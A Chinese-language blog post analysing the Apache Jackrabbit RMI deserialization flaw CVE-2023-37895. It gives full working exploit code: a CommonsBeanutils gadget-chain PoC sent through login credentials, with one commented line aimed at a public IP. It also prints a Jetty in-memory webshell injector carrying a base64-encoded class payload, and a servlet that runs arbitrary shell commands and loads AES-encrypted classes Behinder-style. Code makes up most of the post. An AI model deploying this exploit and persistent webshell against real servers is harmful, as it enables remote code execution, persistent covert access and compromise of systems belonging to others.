October 16, 2023

CVE-2023-37895 Apache Jackrabbit RMI RCE 分析及利用

参考:
CVE-2023-37895: Apache Jackrabbit RMI RCE
CVE-2023-37895

环境搭建

直接就是以jar包的形式进行部署的,所以并没有什么骚操作,下载地址如下
https://jackrabbit.apache.org/jcr/downloads.html
这里选择版本2.20.10漏洞版本,咱们运行jackrabbit的时候需要指定一下jre目录,否则会500的
java -Djava.home="%JAVA_HOME%\jre" -jar jackrabbit-standalone-2.20.10.jar

漏洞复现&&漏洞分析

该漏洞是一个典型的RMI注入漏洞。攻击者可以调用服务器的远程方法,并且传入恶意参数,导致参数进行反序列化最终RCE被攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.jackrabbit.servlet.remote;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.rmi.RemoteException;
import java.rmi.server.RemoteObject;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.jackrabbit.rmi.remote.RemoteRepository;
import org.apache.jackrabbit.rmi.server.RemoteAdapterFactory;
import org.apache.jackrabbit.rmi.server.ServerAdapterFactory;
import org.apache.jackrabbit.servlet.ServletRepository;

public class RemoteBindingServlet extends HttpServlet {
private static final long serialVersionUID = -162482284843619248L;
private RemoteRepository remote;

public RemoteBindingServlet() {
}

protected RemoteRepository getRemoteRepository() throws ServletException {
if (this.remote == null) {
try {
RemoteAdapterFactory factory = this.getRemoteAdapterFactory();
this.remote = factory.getRemoteRepository(new ServletRepository(this));
} catch (RemoteException var2) {
throw new ServletException("Failed to create the remote repository reference", var2);
}
}

return this.remote;
}

private RemoteAdapterFactory getRemoteAdapterFactory() throws ServletException {
String name = this.getInitParameter(RemoteAdapterFactory.class.getName());
if (name == null) {
return new ServerAdapterFactory();
} else {
try {
Class factoryClass = Class.forName(name);
return (RemoteAdapterFactory)factoryClass.newInstance();
} catch (ClassNotFoundException var3) {
throw new ServletException("Remote adapter factory class not found: " + name, var3);
} catch (InstantiationException var4) {
throw new ServletException("Failed to instantiate the adapter factory: " + name, var4);
} catch (IllegalAccessException var5) {
throw new ServletException("Adapter factory constructor is not public: " + name, var5);
} catch (ClassCastException var6) {
throw new ServletException("Invalid remote adapter factory class: " + name, var6);
}
}
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("application/octet-stream");
ObjectOutputStream output = new ObjectOutputStream(response.getOutputStream());
output.writeObject(RemoteObject.toStub(this.getRemoteRepository()));
output.flush();
}
}

漏洞是因为一个Servlet引起的,该servlet代码如上,对应路由/rmi,简洁明了就是rmi,我们断点给在
output.writeObject(RemoteObject.toStub(this.getRemoteRepository()));
这一句代码上,我们直接开启debug。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.javasec.pocs.solutions.cve;

import com.javasec.utils.SerializeUtils;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.jackrabbit.commons.JcrUtils;
import javax.jcr.Repository;
import javax.jcr.SimpleCredentials;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;

public class ApacheJackrabbitRCE {
public static void main(String[] args) throws Exception {
//Templates obj = SerializeUtils.getTemplateByclass("E:\\CTFLearning\\JettyMemshell\\target\\classes\\com\\boogipop\\memshell\\InjectJettyServletShell.class");
Templates obj = SerializeUtils.getTemplate("calc");
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// 为了能够继续走下去,priority的size必须大于等于2
queue.add(1);
queue.add(1);
SerializeUtils.setFieldValue(comparator, "property", "outputProperties");
SerializeUtils.setFieldValue(queue, "queue", new Object[]{obj, obj});
SimpleCredentials simpleCredentials = new SimpleCredentials("1", "1".toCharArray());
simpleCredentials.setAttribute("a",queue);
Repository repository = JcrUtils.getRepository("http://localhost:8080/rmi");
//Repository repository = JcrUtils.getRepository("http://114.116.119.253:8080/rmi");
repository.login(simpleCredentials);
}
}

POC如上,在POC中用到了JcrUtils去获取到repository仓库
image.png
然后在服务端就会收到请求
image.png
image.png
在攻击者这里获取到的是一个RmiReposityFactory$1,一个内部类RmiSafeClientRepository,我们看看他对应的代码
image.png
继承SafeClientRepository的方法,我们往上看
image.png
其中有一个login方法传入一个Credentials对象,我们现在需要找一个Credentials对象,其中有属性可以控制为我们的恶意payload
image.png
一共五个随便挑一个适合的。
image.png
其中simplecredentials有一个attributes属性,并且有对应的setter和getter去设置,完美符合
image.png
到这里payload构造流程就分析完成了,随后会RMI调用远程服务端的方法login。对rmi反序列化熟悉一点的师傅会对一个方法很熟悉,unmarshalvalue方法,在rmi请求的流程中,客户端会序列化请求的参数,然后在服务端的unmarshalvalue方法进行readobject反序列化,从而导致RCE
image.png
服务端有cb依赖,所以我们挑选cb链去加载恶意类即可。
image.png
通过调试也可以验证显示在UnicastRef的invoke方法里调用了marshalvalue去序列化参数,然后call.executeCall之后就会像服务端发起请求
image.png
可以看到unmarshalValue方法,随之就会弹出计算器了image.png

回显策略

Apache Jackrabbit 是基于Jetty9的服务器,我们直接挑选一款jetty内存马就行,这里我用的是servelet内存马,因为filter的优先级没有404页面的高,导致我们无法进入filter的逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package com.boogipop.memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class InjectJettyServletShell extends AbstractTranslet {
private static Object servletHandler = null;
private static String filterName = "ServletTemplates";
private static String filterClassName = "com.boogipop.memshell.ServletTemplates";
private static String url = "/*";
private static synchronized void LoadServlet() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("yv66vgAAADQBHgoARwB+CgAQAH8KAIAAgQoAWACCCQCDAIQIAIUKAIYAhwgAiAsAiQCKCACLCgAQAIwIAI0KABAAjgkAjwCQCACRBwCSCACTCACUCABhCACVBwCWCgCXAJgKAJcAmQoAmgCbCgAVAJwIAJ0KABUAngoAFQCfCwCgAKEKAKIAhwgAowsAiQCkCwCJAKUIAKYLAIkApwgAqAsAqQCqCACrCgCsAK0HAK4HAK8KACkAfgsAqQCwCgApALEIALIKACkAswoAKQC0CgAoALUKAKwAtgsAiQC3CgC4ALkKAEYAugoArAC7BwC8CgBBAL0KAD0AvgoANgC/CgA2AMAKAD0AwQgAwgcAwwcAxAcAxQoAPQDGBwDHCgDIAMkHAMoKAEMAywoARgDMBwDNBwDOAQABVQEADElubmVyQ2xhc3NlcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAoTGNvbS9ib29naXBvcC9tZW1zaGVsbC9TZXJ2bGV0VGVtcGxhdGVzOwEADUJBU0U2NERlY29kZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEZGF0YQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACmlucHV0Qnl0ZXMBAAJbQgEAB2VuY29kZXIHAM8BAAdEZWNvZGVyAQAaTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBAAxlbmNvZGVkQnl0ZXMBAAZkb1Bvc3QBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAANjbWQBAAFrAQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAOZXZpbENsYXNzQnl0ZXMBAAlldmlsQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEACmV2aWxPYmplY3QBABJMamF2YS9sYW5nL09iamVjdDsBAAx0YXJnZXRNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAkgcAXwcAygEACkV4Y2VwdGlvbnMHANABAAVkb0dldAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAClNvdXJjZUZpbGUBABVTZXJ2bGV0VGVtcGxhdGVzLmphdmEMAEoASwwA0QDSBwDTDADUANUMANYA1wcA2AwA2QDaAQAeWytdIER5bmFtaWMgU2VydmxldCBzYXlzIGhlbGxvBwDbDADcAN0BAAR0eXBlBwDeDADfAOABAAViYXNpYwwAwgDhAQAEcGFzcwwA4gDjBwDkDADlAFQBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHAOYMAOcA6AwA6QDqBwDrDADsAO0MAEoA7gEAAlxBDADvAPAMAPEA8gcA8wwA9AD1BwD2AQAQZTQ1ZTMyOWZlYjVkOTI1YgwA9wDgDAD4APIBAARQT1NUDAD5APoBAAF1BwD7DAD8AP0BAANBRVMHAP4MAP8BAAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBAQECDAEDAQQBAAAMAQMBBQwBBgDyDABKAQcMAQgBCQwBCgELBwEMDAENAPIMAFEAUgwBDgDXAQAoY29tL2Jvb2dpcG9wL21lbXNoZWxsL1NlcnZsZXRUZW1wbGF0ZXMkVQwBDwEQDAERARIMAEoBEwwBFAEVDAEWARcBAAZlcXVhbHMBAA9qYXZhL2xhbmcvQ2xhc3MBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UMARgBGQEAEGphdmEvbGFuZy9PYmplY3QHARoMARsBHAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAR0ASwwAXABdAQAmY29tL2Jvb2dpcG9wL21lbXNoZWxsL1NlcnZsZXRUZW1wbGF0ZXMBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldERlY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAGZGVjb2RlAQAGKFtCKVtCAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBAAdkb0ZpbmFsAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQBCKExjb20vYm9vZ2lwb3AvbWVtc2hlbGwvU2VydmxldFRlbXBsYXRlcztMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UAIQBGAEcAAAAAAAUAAQBKAEsAAQBMAAAALwABAAEAAAAFKrcAAbEAAAACAE0AAAAGAAEAAAASAE4AAAAMAAEAAAAFAE8AUAAAAAoAUQBSAAEATAAAAGUAAgAEAAAAESq2AAJMuAADTSwrtgAETi2wAAAAAgBNAAAAEgAEAAAAFAAFABUACQAWAA8AFwBOAAAAKgAEAAAAEQBTAFQAAAAFAAwAVQBWAAEACQAIAFcAWgACAA8AAgBbAFYAAwAEAFwAXQACAEwAAAKIAAcACQAAAWCyAAUSBrYABysSCLkACQIAxgCKKxIIuQAJAgASCrYAC5kAeisSDLkACQIATi3GAGottgANmgBjAToEsgAOEg+2AAuZABoGvQAQWQMSEVNZBBISU1kFLVM6BKcAFwa9ABBZAxITU1kEEhRTWQUtUzoEuwAVWbgAFhkEtgAXtgAYtwAZEhq2ABu2ABw6BSy5AB0BABkFtgAepwDIKxIfuQAgAgDGAL0ruQAhAQASIrYAC5kApxIMTiu5ACMBABIkLbkAJQMAEia4ACc6BBkEBbsAKFm7AClZtwAqK7kAIwEAEiS5ACsCALYALBIttgAutgAvtgACEia3ADC2ADEZBCu5ADIBALYAM7gANLYANToFuwA2WSoqtgA3tgA4twA5GQW2ADo6BhkGtgA7OgcZBhI8Bb0APVkDEj5TWQQSP1O2AEA6CBkIGQcFvQBBWQMrU1kELFO2AEJXpwAITi22AESxAAEApQFXAVoAQwADAE0AAABmABkAAAAbAAgAHQAjAB8ALAAgADcAIQA6ACIARQAjAFwAJQBwACcAjAAoAJcAKgClAC0AswAuALYALwDEADAAywAxAPwAMgEPADMBJQA0ASwANQFDADYBVwA6AVoAOAFbADkBXwA8AE4AAACEAA0AOgBdAF4AXwAEAIwACwBgAFQABQAsAGsAYQBUAAMAtgChAGIAVAADAMsAjABjAGQABAEPAEgAZQBWAAUBJQAyAGYAZwAGASwAKwBoAGkABwFDABQAagBrAAgBWwAEAGwAbQADAAABYABPAFAAAAAAAWAAbgBvAAEAAAFgAHAAcQACAHIAAAAYAAf9AFwHAHMHAHQT+QAmAvsAvEIHAHUEAHYAAAAEAAEAdwAEAHgAXQACAEwAAABJAAMAAwAAAAcqKyy2AEWxAAAAAgBNAAAACgACAAAAQAAGAEEATgAAACAAAwAAAAcATwBQAAAAAAAHAG4AbwABAAAABwBwAHEAAgB2AAAABAABAHcACQB5AHoAAQBMAAAAKwAAAAEAAAABsQAAAAIATQAAAAYAAQAAAEsATgAAAAwAAQAAAAEAewBfAAAAAgB8AAAAAgB9AEkAAAASAAIANgBGAEgAAABYAIAAWQAJ");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
private static byte[] BASE64Decoder(String data){
byte[] inputBytes = data.getBytes();
Base64.Decoder encoder = Base64.getDecoder();
byte[] encodedBytes = encoder.decode(inputBytes);
return encodedBytes;
}

//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader,"_context");
servletHandler = GetField(_context,"_servletHandler");
}catch (Exception e){
e.printStackTrace();
}
}

private static synchronized void InjectServlet() throws Exception {
if(servletHandler != null){
//方法二
Class EvilServlet = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addServletWithMapping", Class.class, String.class);
addFilterWithMapping.invoke(servletHandler, EvilServlet, "/boogipop");
}

}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}

private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();

while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}

if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
return method;
}
}


public InjectJettyServletShell() {
try{
LoadServlet();
GetWebContent();
InjectServlet();
}catch (Exception e){
e.printStackTrace();
}

}
static {
new InjectJettyServletShell();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

其中ServerletTemplates的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.boogipop.memshell;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import javax.crypto.Cipher;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Scanner;

public class ServletTemplates extends HttpServlet {
private static byte[] BASE64Decoder(String data){
byte[] inputBytes = data.getBytes();
Base64.Decoder encoder = Base64.getDecoder();
byte[] encodedBytes = encoder.decode(inputBytes);
return encodedBytes;
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
System.out.println("[+] Dynamic Servlet says hello");

if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){
//basic cmd shell
String cmd = request.getParameter("pass");
if(cmd != null && !cmd.isEmpty()){
String[] cmds = null;
if(File.separator.equals("/")){
cmds = new String[]{"/bin/sh", "-c", cmd};
}else{
cmds = new String[]{"cmd", "/C", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
response.getWriter().println(result);
}
}else if(request.getHeader("e45e329feb5d925b") != null){
//behind3 shell
try{
if (request.getMethod().equals("POST")){
String k = "pass";
request.getSession().setAttribute("u",k);
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal(BASE64Decoder(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
targetMethod.invoke(evilObject, new Object[]{request, response});
}
}catch(Exception e){
e.printStackTrace();
}
}
}

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
doPost(request, response);
}

class U extends ClassLoader{
U(ClassLoader c){super(c);}

public Class g(byte []b){return super.defineClass(b,0,b.length);}
}

public static void main(String[] args) {

}
}

这个在我之前的文章中是有说明的。
内存马系列 Jetty型内存马学习 - Boogiepop Doesn’t Laugh
最后的效果如下。
image.png
假如想要哥斯拉连接的话自行加上哥斯拉或者是冰蝎的逻辑即可。笔者在这里就不做处理了(懒狗一条),好了说到这里我就先把电脑关机一下,因为这个东西是真的吃运行内存啊,我就挂了一上午现在电脑已经要炸了感觉。。。。

一些毛病

本地打是没什么问题的,但是换到我vps上后会出现这个问题。
image.png
会飘红connection reset,我不知道是不是我校园网的问题,但是我用流量的话就访问不到这个路由。测了傻逼校园网。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CVE